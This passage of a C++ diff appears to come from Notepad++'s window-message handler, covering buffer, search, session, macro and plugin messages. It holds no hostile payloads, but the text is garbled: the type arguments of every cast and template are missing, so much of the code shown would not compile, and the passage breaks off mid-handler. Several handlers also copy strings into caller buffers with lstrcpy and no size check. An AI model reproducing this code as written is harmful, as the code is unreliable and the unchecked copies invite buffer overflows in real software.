TCHAR *any) +{ + int i; + for (i = 0; any[i] != 0; i++) + { + if (any[i] == c) return TRUE; + } + return FALSE; +} + +LRESULT Notepad_plus::process(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + LRESULT result = FALSE; + NppParameters *pNppParam = NppParameters::getInstance(); + + switch (message) + { + case WM_NCACTIVATE: + { + // Note: lParam is -1 to prevent endless loops of calls + ::SendMessage(_dockingManager.getHSelf(), WM_NCACTIVATE, wParam, -1); + return ::DefWindowProc(hwnd, message, wParam, lParam); + } + + case WM_DRAWITEM: + { + DRAWITEMSTRUCT *dis = reinterpret_cast(lParam); + if (dis->CtlType == ODT_TAB) + return ::SendMessage(dis->hwndItem, WM_DRAWITEM, wParam, lParam); + break; + } + + case WM_DOCK_USERDEFINE_DLG: + { + dockUserDlg(); + return TRUE; + } + + case WM_UNDOCK_USERDEFINE_DLG: + { + undockUserDlg(); + return TRUE; + } + + case WM_REMOVE_USERLANG: + { + TCHAR *userLangName = reinterpret_cast(lParam); + if (!userLangName || !userLangName[0]) + return FALSE; + + generic_string name{userLangName}; + + //loop through buffers and reset the language (L_USER, TEXT("")) if (L_USER, name) + for (size_t i = 0; i < MainFileManager->getNbBuffers(); ++i) + { + Buffer* buf = MainFileManager->getBufferByIndex(i); + if (buf->getLangType() == L_USER && name == buf->getUserDefineLangName()) + buf->setLangType(L_USER, TEXT("")); + } + return TRUE; + } + + case WM_RENAME_USERLANG: + { + if (!lParam || !((reinterpret_cast(lParam))[0]) || !wParam || !((reinterpret_cast(wParam))[0])) + return FALSE; + + generic_string oldName{ reinterpret_cast(lParam) }; + generic_string newName{ reinterpret_cast(wParam) }; + + //loop through buffers and reset the language (L_USER, newName) if (L_USER, oldName) + for (size_t i = 0; i < MainFileManager->getNbBuffers(); ++i) + { + Buffer* buf = MainFileManager->getBufferByIndex(i); + if (buf->getLangType() == L_USER && oldName == buf->getUserDefineLangName()) + buf->setLangType(L_USER, newName.c_str()); + } + return TRUE; + } + + case WM_CLOSE_USERDEFINE_DLG: + { + checkMenuItem(IDM_LANG_USER_DLG, false); + _toolBar.setCheck(IDM_LANG_USER_DLG, false); + return TRUE; + } + + case WM_REPLACEALL_INOPENEDDOC: + { + replaceInOpenedFiles(); + return TRUE; + } + + case WM_FINDALL_INOPENEDDOC: + { + findInOpenedFiles(); + return TRUE; + } + + case WM_FINDALL_INCURRENTDOC: + { + return findInCurrentFile(); + } + + case WM_FINDINFILES: + { + return findInFiles(); + } + + case WM_FINDALL_INCURRENTFINDER: + { + FindersInfo *findInFolderInfo = reinterpret_cast(wParam); + Finder * newFinder = _findReplaceDlg.createFinder(); + + findInFolderInfo->_pDestFinder = newFinder; + bool isOK = findInFinderFiles(findInFolderInfo); + return isOK; + } + + case WM_REPLACEINFILES: + { + replaceInFiles(); + return TRUE; + } + + case NPPM_LAUNCHFINDINFILESDLG: + { + // Find in files function code should be here due to the number of parameters (2) cannot be passed via WM_COMMAND + const int strSize = FINDREPLACE_MAXLENGTH; + TCHAR str[strSize]; + + bool isFirstTime = not _findReplaceDlg.isCreated(); + _findReplaceDlg.doDialog(FIND_DLG, _nativeLangSpeaker.isRTL()); + + _pEditView->getGenericSelectedText(str, strSize); + _findReplaceDlg.setSearchText(str); + if (isFirstTime) + _nativeLangSpeaker.changeDlgLang(_findReplaceDlg.getHSelf(), "Find"); + _findReplaceDlg.launchFindInFilesDlg(); + setFindReplaceFolderFilter(reinterpret_cast(wParam), reinterpret_cast(lParam)); + + return TRUE; + } + + case NPPM_INTERNAL_FINDINFINDERDLG: + { + const int strSize = FINDREPLACE_MAXLENGTH; + TCHAR str[strSize]; + Finder *launcher = reinterpret_cast(wParam); + + bool isFirstTime = not _findInFinderDlg.isCreated(); + + _findInFinderDlg.doDialog(launcher, _nativeLangSpeaker.isRTL()); + + _pEditView->getGenericSelectedText(str, strSize); + _findReplaceDlg.setSearchText(str); + setFindReplaceFolderFilter(NULL, NULL); + + if (isFirstTime) + _nativeLangSpeaker.changeFindReplaceDlgLang(_findReplaceDlg); + + return TRUE; + } + + case NPPM_DOOPEN: + case WM_DOOPEN: + { + BufferID id = doOpen(reinterpret_cast(lParam)); + if (id != BUFFER_INVALID) + return switchToFile(id); + break; + } + + case NPPM_INTERNAL_SETFILENAME: + { + if (!lParam && !wParam) + return FALSE; + BufferID id = (BufferID)wParam; + Buffer * b = MainFileManager->getBufferByID(id); + if (b && b->getStatus() == DOC_UNNAMED) { + b->setFileName(reinterpret_cast(lParam)); + return TRUE; + } + return FALSE; + } + + case NPPM_GETBUFFERLANGTYPE: + { + if (!wParam) + return -1; + BufferID id = (BufferID)wParam; + Buffer * b = MainFileManager->getBufferByID(id); + return b->getLangType(); + } + + case NPPM_SETBUFFERLANGTYPE: + { + if (!wParam) + return FALSE; + if (lParam < L_TEXT || lParam >= L_EXTERNAL || lParam == L_USER) + return FALSE; + + BufferID id = (BufferID)wParam; + Buffer * b = MainFileManager->getBufferByID(id); + b->setLangType((LangType)lParam); + return TRUE; + } + + case NPPM_GETBUFFERENCODING: + { + if (!wParam) + return -1; + BufferID id = (BufferID)wParam; + Buffer * b = MainFileManager->getBufferByID(id); + return b->getUnicodeMode(); + } + + case NPPM_SETBUFFERENCODING: + { + if (!wParam) + return FALSE; + if (lParam < uni8Bit || lParam >= uniEnd) + return FALSE; + + BufferID id = (BufferID)wParam; + Buffer * b = MainFileManager->getBufferByID(id); + if (b->getStatus() != DOC_UNNAMED || b->isDirty()) //do not allow to change the encoding if the file has any content + return FALSE; + b->setUnicodeMode((UniMode)lParam); + return TRUE; + } + + case NPPM_GETBUFFERFORMAT: + { + if (!wParam) + return -1; + BufferID id = (BufferID)wParam; + Buffer * b = MainFileManager->getBufferByID(id); + return static_cast(b->getEolFormat()); + } + + case NPPM_SETBUFFERFORMAT: + { + if (!wParam) + return FALSE; + + EolType newFormat = convertIntToFormatType(static_cast(lParam), EolType::unknown); + if (EolType::unknown == newFormat) + { + assert(false and "invalid buffer format message"); + return FALSE; + } + + BufferID id = (BufferID)wParam; + Buffer * b = MainFileManager->getBufferByID(id); + b->setEolFormat(newFormat); + return TRUE; + } + + case NPPM_GETBUFFERIDFROMPOS: + { + DocTabView* pView = nullptr; + if (lParam == MAIN_VIEW) + pView = &_mainDocTab; + else if (lParam == SUB_VIEW) + pView = &_subDocTab; + else + return reinterpret_cast(BUFFER_INVALID); + + if ((size_t)wParam < pView->nbItem()) + return reinterpret_cast(pView->getBufferByIndex(wParam)); + + return reinterpret_cast(BUFFER_INVALID); + } + + case NPPM_GETCURRENTBUFFERID: + { + return reinterpret_cast(_pEditView->getCurrentBufferID()); + } + + case NPPM_RELOADBUFFERID: + { + if (!wParam) + return FALSE; + return doReload(reinterpret_cast(wParam), lParam != 0); + } + + case NPPM_RELOADFILE: + { + BufferID id = MainFileManager->getBufferFromName(reinterpret_cast(lParam)); + if (id != BUFFER_INVALID) + doReload(id, wParam != 0); + break; + } + + case NPPM_SWITCHTOFILE : + { + BufferID id = MainFileManager->getBufferFromName(reinterpret_cast(lParam)); + if (id != BUFFER_INVALID) + return switchToFile(id); + return false; + } + + case NPPM_SAVECURRENTFILE: + { + return fileSave(); + } + + case NPPM_SAVECURRENTFILEAS: + { + BufferID currentBufferID = _pEditView->getCurrentBufferID(); + bool asCopy = wParam == TRUE; + const TCHAR *filename = reinterpret_cast(lParam); + if (!filename) return FALSE; + return doSave(currentBufferID, filename, asCopy); + } + + case NPPM_SAVEALLFILES: + { + return fileSaveAll(); + } + + case NPPM_SAVEFILE: + { + return fileSaveSpecific(reinterpret_cast(lParam)); + } + + case NPPM_GETCURRENTNATIVELANGENCODING: + { + return _nativeLangSpeaker.getLangEncoding(); + } + + case NPPM_INTERNAL_DOCORDERCHANGED : + { + BufferID id = _pEditView->getCurrentBufferID(); + + // Notify plugins that current file is about to be closed + SCNotification scnN; + scnN.nmhdr.code = NPPN_DOCORDERCHANGED; + scnN.nmhdr.hwndFrom = reinterpret_cast(lParam); + scnN.nmhdr.idFrom = reinterpret_cast(id); + _pluginsManager.notify(&scnN); + return TRUE; + } + + case NPPM_INTERNAL_EXPORTFUNCLISTANDQUIT: + { + checkMenuItem(IDM_VIEW_FUNC_LIST, true); + _toolBar.setCheck(IDM_VIEW_FUNC_LIST, true); + launchFunctionList(); + _pFuncList->setClosed(false); + _pFuncList->serialize(); + + ::PostMessage(_pPublicInterface->getHSelf(), WM_COMMAND, IDM_FILE_EXIT, 0); + } + break; + + case NPPM_INTERNAL_PRNTANDQUIT: + { + ::PostMessage(_pPublicInterface->getHSelf(), WM_COMMAND, IDM_FILE_PRINTNOW, 0); + ::PostMessage(_pPublicInterface->getHSelf(), WM_COMMAND, IDM_FILE_EXIT, 0); + } + break; + + case NPPM_DISABLEAUTOUPDATE: + { + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + nppGUI._autoUpdateOpt._doAutoUpdate = false; + return TRUE; + } + + case WM_SIZE: + { + RECT rc; + _pPublicInterface->getClientRect(rc); + if (lParam == 0) + lParam = MAKELPARAM(rc.right - rc.left, rc.bottom - rc.top); + + ::MoveWindow(_rebarTop.getHSelf(), 0, 0, rc.right, _rebarTop.getHeight(), TRUE); + _statusBar.adjustParts(rc.right); + ::SendMessage(_statusBar.getHSelf(), WM_SIZE, wParam, lParam); + + int rebarBottomHeight = _rebarBottom.getHeight(); + int statusBarHeight = _statusBar.getHeight(); + ::MoveWindow(_rebarBottom.getHSelf(), 0, rc.bottom - rebarBottomHeight - statusBarHeight, rc.right, rebarBottomHeight, TRUE); + + getMainClientRect(rc); + _dockingManager.reSizeTo(rc); + + if (_pDocMap) + { + _pDocMap->doMove(); + _pDocMap->reloadMap(); + } + + result = TRUE; + break; + } + + case WM_MOVE: + { + result = TRUE; + break; + } + + case WM_MOVING: + { + if (_pDocMap) + { + _pDocMap->doMove(); + } + result = FALSE; + break; + } + + case WM_SIZING: + { + result = FALSE; + break; + } + + case WM_COPYDATA: + { + COPYDATASTRUCT *pCopyData = reinterpret_cast(lParam); + + switch (pCopyData->dwData) + { + case COPYDATA_PARAMS: + { + CmdLineParams *cmdLineParam = static_cast(pCopyData->lpData); // CmdLineParams object from another instance + auto cmdLineParamsSize = static_cast(pCopyData->cbData); // CmdLineParams size from another instance + if (sizeof(CmdLineParams) == cmdLineParamsSize) // make sure the structure is the same + { + pNppParam->setCmdlineParam(*cmdLineParam); + } + else + { +#ifdef DEBUG + printStr(TEXT("sizeof(CmdLineParams) != cmdLineParamsSize\rCmdLineParams is formed by an instance of another version,\rwhereas your CmdLineParams has been modified in this instance.")); +#endif + } + + NppGUI nppGui = (NppGUI)pNppParam->getNppGUI(); + nppGui._isCmdlineNosessionActivated = cmdLineParam->_isNoSession; + break; + } + + case COPYDATA_FILENAMESA: + { + char *fileNamesA = static_cast(pCopyData->lpData); + CmdLineParams & cmdLineParams = pNppParam->getCmdLineParams(); + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + const wchar_t *fileNamesW = wmc->char2wchar(fileNamesA, CP_ACP); + loadCommandlineParams(fileNamesW, &cmdLineParams); + break; + } + + case COPYDATA_FILENAMESW: + { + wchar_t *fileNamesW = static_cast(pCopyData->lpData); + CmdLineParams & cmdLineParams = pNppParam->getCmdLineParams(); + loadCommandlineParams(fileNamesW, &cmdLineParams); + break; + } + } + + return TRUE; + } + + case WM_COMMAND: + { + if (HIWORD(wParam) == SCEN_SETFOCUS) + { + HWND hMain = _mainEditView.getHSelf(), hSec = _subEditView.getHSelf(); + HWND hFocus = reinterpret_cast(lParam); + if (hMain == hFocus) + switchEditViewTo(MAIN_VIEW); + else if (hSec == hFocus) + switchEditViewTo(SUB_VIEW); + else { + //Other Scintilla, ignore + } + return TRUE; + } + else + { + command(LOWORD(wParam)); + } + return TRUE; + } + + case NPPM_INTERNAL_SAVECURRENTSESSION: + { + NppParameters *nppParam = NppParameters::getInstance(); + const NppGUI nppGui = nppParam->getNppGUI(); + + if (nppGui._rememberLastSession && !nppGui._isCmdlineNosessionActivated) + { + Session currentSession; + getCurrentOpenedFiles(currentSession, true); + nppParam->writeSession(currentSession); + } + return TRUE; + } + + case NPPM_INTERNAL_RELOADNATIVELANG: + { + reloadLang(); + return TRUE; + } + + case NPPM_INTERNAL_RELOADSTYLERS: + { + loadStyles(); + return TRUE; + } + + case NPPM_INTERNAL_PLUGINSHORTCUTMOTIFIED: + { + SCNotification scnN; + scnN.nmhdr.code = NPPN_SHORTCUTREMAPPED; + scnN.nmhdr.hwndFrom = reinterpret_cast(lParam); // ShortcutKey structure + scnN.nmhdr.idFrom = (uptr_t)wParam; // cmdID + _pluginsManager.notify(&scnN); + return TRUE; + } + + case NPPM_GETSHORTCUTBYCMDID: + { + int cmdID = static_cast(wParam); // cmdID + ShortcutKey *sk = reinterpret_cast(lParam); // ShortcutKey structure + + return _pluginsManager.getShortcutByCmdID(cmdID, sk); + } + + case NPPM_MENUCOMMAND: + { + command(static_cast(lParam)); + return TRUE; + } + + case NPPM_GETFULLCURRENTPATH: + case NPPM_GETCURRENTDIRECTORY: + case NPPM_GETFILENAME: + case NPPM_GETNAMEPART: + case NPPM_GETEXTPART: + { + TCHAR str[MAX_PATH]; + // par defaut : NPPM_GETCURRENTDIRECTORY + TCHAR *fileStr = lstrcpy(str, _pEditView->getCurrentBuffer()->getFullPathName()); + + if (message == NPPM_GETCURRENTDIRECTORY) + PathRemoveFileSpec(str); + else if (message == NPPM_GETFILENAME) + fileStr = PathFindFileName(str); + else if (message == NPPM_GETNAMEPART) + { + fileStr = PathFindFileName(str); + PathRemoveExtension(fileStr); + } + else if (message == NPPM_GETEXTPART) + fileStr = PathFindExtension(str); + + // For the compability reason, if wParam is 0, then we assume the size of generic_string buffer (lParam) is large enough. + // otherwise we check if the generic_string buffer size is enough for the generic_string to copy. + if (wParam != 0) + { + if (lstrlen(fileStr) >= int(wParam)) + { + ::MessageBox(hwnd, TEXT("Allocated buffer size is not enough to copy the string."), TEXT("NPPM error"), MB_OK); + return FALSE; + } + } + + lstrcpy(reinterpret_cast(lParam), fileStr); + return TRUE; + } + + case NPPM_GETCURRENTWORD: + { + const int strSize = CURRENTWORD_MAXLENGTH; + TCHAR str[strSize]; + TCHAR *pTchar = reinterpret_cast(lParam); + _pEditView->getGenericSelectedText(str, strSize); + // For the compability reason, if wParam is 0, then we assume the size of generic_string buffer (lParam) is large enough. + // otherwise we check if the generic_string buffer size is enough for the generic_string to copy. + if (wParam != 0) + { + if (lstrlen(str) >= int(wParam)) //buffer too small + { + ::MessageBox(hwnd, TEXT("Allocated buffer size is not enough to copy the string."), TEXT("NPPM_GETCURRENTWORD error"), MB_OK); + return FALSE; + } + else //buffer large enough, perform safe copy + { + lstrcpyn(pTchar, str, static_cast(wParam)); + return TRUE; + } + } + + lstrcpy(pTchar, str); + return TRUE; + } + + case NPPM_GETFILENAMEATCURSOR: // wParam = buffer length, lParam = (TCHAR*)buffer + { + const int strSize = CURRENTWORD_MAXLENGTH; + TCHAR str[strSize]; + TCHAR strLine[strSize]; + size_t lineNumber; + int col; + int i; + int hasSlash; + TCHAR *pTchar = reinterpret_cast(lParam); + + _pEditView->getGenericSelectedText(str, strSize); // this is either the selected text, or the word under the cursor if there is no selection + hasSlash = FALSE; + for (i = 0; str[i] != 0; i++) if (CharacterIs(str[i], TEXT("\\/"))) hasSlash = TRUE; + + if (hasSlash == FALSE) + { + // it's not a full file name so try to find the beginning and ending of it + int start; + int end; + TCHAR *delimiters; + + lineNumber = _pEditView->getCurrentLineNumber(); + col = _pEditView->getCurrentColumnNumber(); + _pEditView->getLine(lineNumber, strLine, strSize); + + // find the start + start = col; + delimiters = TEXT(" \t[(\"<>"); + while ((start > 0) && (CharacterIs(strLine[start], delimiters) == FALSE)) start--; + if (CharacterIs(strLine[start], delimiters)) start++; + + // find the end + end = col; + delimiters = TEXT(" \t:()[]<>\"\r\n"); + while ((strLine[end] != 0) && (CharacterIs(strLine[end], delimiters) == FALSE)) end++; + + lstrcpyn(str, &strLine[start], end - start + 1); + } + + if (lstrlen(str) >= int(wParam)) //buffer too small + { + ::MessageBox(hwnd, TEXT("Allocated buffer size is not enough to copy the string."), TEXT("NPPM_GETFILENAMEATCURSOR error"), MB_OK); + return FALSE; + } + else //buffer large enough, perform safe copy + { + lstrcpyn(pTchar, str, static_cast(wParam)); + return TRUE; + } + } + + case NPPM_GETNPPFULLFILEPATH: + case NPPM_GETNPPDIRECTORY: + { + const int strSize = MAX_PATH; + TCHAR str[strSize]; + + ::GetModuleFileName(NULL, str, strSize); + + if (message == NPPM_GETNPPDIRECTORY) + PathRemoveFileSpec(str); + + // For the compability reason, if wParam is 0, then we assume the size of generic_string buffer (lParam) is large enough. + // otherwise we check if the generic_string buffer size is enough for the generic_string to copy. + if (wParam != 0) + { + if (lstrlen(str) >= int(wParam)) + { + ::MessageBox(hwnd, TEXT("Allocated buffer size is not enough to copy the string."), TEXT("NPPM_GETNPPDIRECTORY error"), MB_OK); + return FALSE; + } + } + + lstrcpy(reinterpret_cast(lParam), str); + return TRUE; + } + + case NPPM_GETCURRENTLINE: + { + return _pEditView->getCurrentLineNumber(); + } + + case NPPM_GETCURRENTCOLUMN: + { + return _pEditView->getCurrentColumnNumber(); + } + + case NPPM_GETCURRENTSCINTILLA: + { + int *id = reinterpret_cast(lParam); + if (_pEditView == &_mainEditView) + *id = MAIN_VIEW; + else if (_pEditView == &_subEditView) + *id = SUB_VIEW; + else + *id = -1; + return TRUE; + } + + case NPPM_GETCURRENTLANGTYPE: + { + *(reinterpret_cast(lParam)) = _pEditView->getCurrentBuffer()->getLangType(); + return TRUE; + } + + case NPPM_SETCURRENTLANGTYPE: + { + _pEditView->getCurrentBuffer()->setLangType(static_cast(lParam)); + return TRUE; + } + + case NPPM_GETNBOPENFILES: + { + size_t nbDocPrimary = _mainDocTab.nbItem(); + size_t nbDocSecond = _subDocTab.nbItem(); + if (lParam == ALL_OPEN_FILES) + return nbDocPrimary + nbDocSecond; + else if (lParam == PRIMARY_VIEW) + return nbDocPrimary; + else if (lParam == SECOND_VIEW) + return nbDocSecond; + } + + case NPPM_GETOPENFILENAMESPRIMARY: + case NPPM_GETOPENFILENAMESSECOND: + case NPPM_GETOPENFILENAMES: + { + if (!wParam) + return 0; + + TCHAR** fileNames = reinterpret_cast(wParam); + size_t nbFileNames = static_cast(lParam); + + size_t j = 0; + if (message != NPPM_GETOPENFILENAMESSECOND) + { + for (size_t i = 0; i < _mainDocTab.nbItem() && j < nbFileNames; ++i) + { + BufferID id = _mainDocTab.getBufferByIndex(i); + Buffer * buf = MainFileManager->getBufferByID(id); + lstrcpy(fileNames[j++], buf->getFullPathName()); + } + } + + if (message != NPPM_GETOPENFILENAMESPRIMARY) + { + for (size_t i = 0; i < _subDocTab.nbItem() && j < nbFileNames; ++i) + { + BufferID id = _subDocTab.getBufferByIndex(i); + Buffer * buf = MainFileManager->getBufferByID(id); + lstrcpy(fileNames[j++], buf->getFullPathName()); + } + } + return j; + } + + case WM_GETTASKLISTINFO: + { + if (!wParam) + return 0; + + TaskListInfo * tli = reinterpret_cast(wParam); + getTaskListInfo(tli); + + if (lParam != 0) + { + for (size_t idx = 0; idx < tli->_tlfsLst.size(); ++idx) + { + if (tli->_tlfsLst[idx]._iView == currentView() && + tli->_tlfsLst[idx]._docIndex == _pDocTab->getCurrentTabIndex()) + { + tli->_currentIndex = static_cast(idx); + break; + } + } + return TRUE; + } + + if (NppParameters::getInstance()->getNppGUI()._styleMRU) + { + tli->_currentIndex = 0; + std::sort(tli->_tlfsLst.begin(),tli->_tlfsLst.end(),SortTaskListPred(_mainDocTab,_subDocTab)); + } + else + { + for (size_t idx = 0; idx < tli->_tlfsLst.size(); ++idx) + { + if (tli->_tlfsLst[idx]._iView == currentView() && + tli->_tlfsLst[idx]._docIndex == _pDocTab->getCurrentTabIndex()) + { + tli->_currentIndex = static_cast(idx); + break; + } + } + } + return TRUE; + } + + case WM_MOUSEWHEEL: + { + if (0 != (LOWORD(wParam) & MK_RBUTTON)) + { + // redirect to the IDC_PREV_DOC or IDC_NEXT_DOC so that we have the unified process + + pNppParam->_isTaskListRBUTTONUP_Active = true; + short zDelta = (short) HIWORD(wParam); + return ::SendMessage(hwnd, WM_COMMAND, zDelta>0?IDC_PREV_DOC:IDC_NEXT_DOC, 0); + } + return TRUE; + } + + case WM_APPCOMMAND: + { + switch(GET_APPCOMMAND_LPARAM(lParam)) + { + case APPCOMMAND_BROWSER_BACKWARD: + case APPCOMMAND_BROWSER_FORWARD: + { + size_t nbDoc = viewVisible(MAIN_VIEW) ? _mainDocTab.nbItem() : 0; + nbDoc += viewVisible(SUB_VIEW)?_subDocTab.nbItem():0; + if (nbDoc > 1) + activateNextDoc((GET_APPCOMMAND_LPARAM(lParam) == APPCOMMAND_BROWSER_FORWARD)?dirDown:dirUp); + _linkTriggered = true; + break; + } + } + return ::DefWindowProc(hwnd, message, wParam, lParam); + } + + case NPPM_GETNBSESSIONFILES: + { + const TCHAR *sessionFileName = reinterpret_cast(lParam); + if ((!sessionFileName) || (sessionFileName[0] == '\0')) + return 0; + Session session2Load; + if (pNppParam->loadSession(session2Load, sessionFileName)) + return session2Load.nbMainFiles() + session2Load.nbSubFiles(); + return 0; + } + + case NPPM_GETSESSIONFILES: + { + const TCHAR *sessionFileName = reinterpret_cast(lParam); + TCHAR **sessionFileArray = reinterpret_cast(wParam); + + if ((!sessionFileName) || (sessionFileName[0] == '\0')) + return FALSE; + + Session session2Load; + if (pNppParam->loadSession(session2Load, sessionFileName)) + { + size_t i = 0; + for ( ; i < session2Load.nbMainFiles() ; ) + { + const TCHAR *pFn = session2Load._mainViewFiles[i]._fileName.c_str(); + lstrcpy(sessionFileArray[i++], pFn); + } + + for (size_t j = 0, len = session2Load.nbSubFiles(); j < len ; ++j) + { + const TCHAR *pFn = session2Load._subViewFiles[j]._fileName.c_str(); + lstrcpy(sessionFileArray[i++], pFn); + } + return TRUE; + } + return FALSE; + } + + case NPPM_DECODESCI: + { + // convert to ASCII + ScintillaEditView *pSci; + if (wParam == MAIN_VIEW) + pSci = &_mainEditView; + else if (wParam == SUB_VIEW) + pSci = &_subEditView; + else + return -1; + + // get text of current scintilla + auto length = pSci->execute(SCI_GETTEXTLENGTH, 0, 0) + 1; + char* buffer = new char[length]; + pSci->execute(SCI_GETTEXT, length, reinterpret_cast(buffer)); + + // convert here + UniMode unicodeMode = pSci->getCurrentBuffer()->getUnicodeMode(); + Utf8_16_Write UnicodeConvertor; + UnicodeConvertor.setEncoding(unicodeMode); + length = UnicodeConvertor.convert(buffer, length-1); + + // set text in target + pSci->execute(SCI_CLEARALL); + pSci->addText(length, UnicodeConvertor.getNewBuf()); + pSci->execute(SCI_EMPTYUNDOBUFFER); + + pSci->execute(SCI_SETCODEPAGE); + + // set cursor position + pSci->execute(SCI_GOTOPOS); + + // clean buffer + delete [] buffer; + + return unicodeMode; + } + + case NPPM_ENCODESCI: + { + // convert + ScintillaEditView *pSci; + if (wParam == MAIN_VIEW) + pSci = &_mainEditView; + else if (wParam == SUB_VIEW) + pSci = &_subEditView; + else + return -1; + + // get text of current scintilla + auto length = pSci->execute(SCI_GETTEXTLENGTH, 0, 0) + 1; + char* buffer = new char[length]; + pSci->execute(SCI_GETTEXT, length, reinterpret_cast(buffer)); + + Utf8_16_Read UnicodeConvertor; + length = UnicodeConvertor.convert(buffer, length-1); + + // set text in target + pSci->execute(SCI_CLEARALL); + pSci->addText(length, UnicodeConvertor.getNewBuf()); + + pSci->execute(SCI_EMPTYUNDOBUFFER); + + // set cursor position + pSci->execute(SCI_GOTOPOS); + + // clean buffer + delete [] buffer; + + // set new encoding if BOM was changed by other programms + UniMode um = UnicodeConvertor.getEncoding(); + (pSci->getCurrentBuffer())->setUnicodeMode(um); + (pSci->getCurrentBuffer())->setDirty(true); + return um; + } + + case NPPM_ACTIVATEDOC: + case NPPM_TRIGGERTABBARCONTEXTMENU: + { + // similar to NPPM_ACTIVEDOC + int whichView = ((wParam != MAIN_VIEW) && (wParam != SUB_VIEW)) ? currentView() : static_cast(wParam); + int index = static_cast(lParam); + + switchEditViewTo(whichView); + activateDoc(index); + + if (message == NPPM_TRIGGERTABBARCONTEXTMENU) + { + // open here tab menu + NMHDR nmhdr; + nmhdr.code = NM_RCLICK; + + nmhdr.hwndFrom = (whichView == MAIN_VIEW)?_mainDocTab.getHSelf():_subDocTab.getHSelf(); + + nmhdr.idFrom = ::GetDlgCtrlID(nmhdr.hwndFrom); + ::SendMessage(hwnd, WM_NOTIFY, nmhdr.idFrom, reinterpret_cast(&nmhdr)); + } + return TRUE; + } + + case NPPM_GETNPPVERSION: + { + const TCHAR * verStr = VERSION_VALUE; + TCHAR mainVerStr[16]; + TCHAR auxVerStr[16]; + bool isDot = false; + int j =0; + int k = 0; + for (int i = 0 ; verStr[i] ; ++i) + { + if (verStr[i] == '.') + { + isDot = true; + } + else + { + if (!isDot) + mainVerStr[j++] = verStr[i]; + else + auxVerStr[k++] = verStr[i]; + } + } + + mainVerStr[j] = '\0'; + auxVerStr[k] = '\0'; + + int mainVer = 0, auxVer = 0; + if (mainVerStr[0]) + mainVer = generic_atoi(mainVerStr); + + if (auxVerStr[0]) + auxVer = generic_atoi(auxVerStr); + + return MAKELONG(auxVer, mainVer); + } + + case WM_GETCURRENTMACROSTATUS: + { + if (_recordingMacro) + return MACRO_RECORDING_IN_PROGRESS; + return (_macro.empty())?0:MACRO_RECORDING_HAS_STOPPED; + } + + case WM_FRSAVE_INT: + { + _macro.push_back(recordedMacroStep(static_cast(wParam), 0, static_cast(lParam), NULL, recordedMacroStep::mtSavedSnR)); + break; + } + + case WM_FRSAVE_STR: + { + _macro.push_back(recordedMacroStep(static_cast(wParam), 0, 0, reinterpret_cast(lParam), recordedMacroStep::mtSavedSnR)); + break; + } + + case WM_MACRODLGRUNMACRO: + { + if (!_recordingMacro) // if we're not currently recording, then playback the recorded keystrokes + { + int times = 1; + if (_runMacroDlg.getMode() == RM_RUN_MULTI) + times = _runMacroDlg.getTimes(); + else if (_runMacroDlg.getMode() == RM_RUN_EOF) + times = -1; + else + break; + + int counter = 0; + int lastLine = static_cast(_pEditView->execute(SCI_GETLINECOUNT)) - 1; + int currLine = static_cast(_pEditView->getCurrentLineNumber()); + int indexMacro = _runMacroDlg.getMacro2Exec(); + int deltaLastLine = 0; + int deltaCurrLine = 0; + + Macro m = _macro; + + if (indexMacro != -1) + { + vector & ms = pNppParam->getMacroList(); + m = ms[indexMacro].getMacro(); + } + + _pEditView->execute(SCI_BEGINUNDOACTION); + for (;;) + { + macroPlayback(m); + ++counter; + if ( times >= 0 ) + { + if ( counter >= times ) + break; + } + else // run until eof + { + bool cursorMovedUp = deltaCurrLine < 0; + deltaLastLine = static_cast(_pEditView->execute(SCI_GETLINECOUNT)) - 1 - lastLine; + deltaCurrLine = static_cast(_pEditView->getCurrentLineNumber()) - currLine; + + if (( deltaCurrLine == 0 ) // line no. not changed? + && (deltaLastLine >= 0)) // and no lines removed? + break; // exit + + // Update the line count, but only if the number of lines remaining is shrinking. + // Otherwise, the macro playback may never end. + if (deltaLastLine < deltaCurrLine) + lastLine += deltaLastLine; + + // save current line + currLine += deltaCurrLine; + + // eof? + if ((currLine >= lastLine) || (currLine < 0) + || ((deltaCurrLine == 0) && (currLine == 0) && ((deltaLastLine >= 0) || cursorMovedUp))) + { + break; + } + } + } + _pEditView->execute(SCI_ENDUNDOACTION); + } + break; + } + + case NPPM_CREATESCINTILLAHANDLE: + { + return (LRESULT)_scintillaCtrls4Plugins.createSintilla((lParam == NULL?hwnd:reinterpret_cast(lParam))); + } + + case NPPM_INTERNAL_GETSCINTEDTVIEW: + { + return (LRESULT)_scintillaCtrls4Plugins.getScintillaEditViewFrom(reinterpret_cast(lParam)); + } + + case NPPM_INTERNAL_ENABLESNAPSHOT: + { + launchDocumentBackupTask(); + return TRUE; + } + + case NPPM_DESTROYSCINTILLAHANDLE: + { + return _scintillaCtrls4Plugins.destroyScintilla(reinterpret_cast(lParam)); + } + + case NPPM_GETNBUSERLANG: + { + if (lParam) + *(reinterpret_cast(lParam)) = IDM_LANG_USER; + return pNppParam->getNbUserLang(); + } + + case NPPM_GETCURRENTDOCINDEX: + { + if (lParam == SUB_VIEW) + { + if (!viewVisible(SUB_VIEW)) + return -1; + return _subDocTab.getCurrentTabIndex(); + } + else //MAIN_VIEW + { + if (!viewVisible(MAIN_VIEW)) + return -1; + return _mainDocTab.getCurrentTabIndex(); + } + } + + case NPPM_SETSTATUSBAR: + { + TCHAR *str2set = reinterpret_cast(lParam); + if (!str2set || !str2set[0]) + return FALSE; + + switch (wParam) + { + case STATUSBAR_DOC_TYPE: + case STATUSBAR_DOC_SIZE: + case STATUSBAR_CUR_POS: + case STATUSBAR_EOF_FORMAT: + case STATUSBAR_UNICODE_TYPE: + case STATUSBAR_TYPING_MODE: + _statusBar.setText(str2set, static_cast(wParam)); + return TRUE; + default : + return FALSE; + } + } + + case NPPM_GETMENUHANDLE: + { + if (wParam == NPPPLUGINMENU) + return (LRESULT)_pluginsManager.getMenuHandle(); + else if (wParam == NPPMAINMENU) + return (LRESULT)_mainMenuHandle; + else + return NULL; + } + + case NPPM_LOADSESSION: + { + fileLoadSession(reinterpret_cast(lParam)); + return TRUE; + } + + case NPPM_SAVECURRENTSESSION: + { + return (LRESULT)fileSaveSession(0, NULL, reinterpret_cast(lParam)); + } + + case NPPM_SAVESESSION: + { + sessionInfo *pSi = reinterpret_cast(lParam); + return (LRESULT)fileSaveSession(pSi->nbFile, pSi->files, pSi->sessionFilePathName); + } + + case NPPM_INTERNAL_CLEARSCINTILLAKEY: + { + 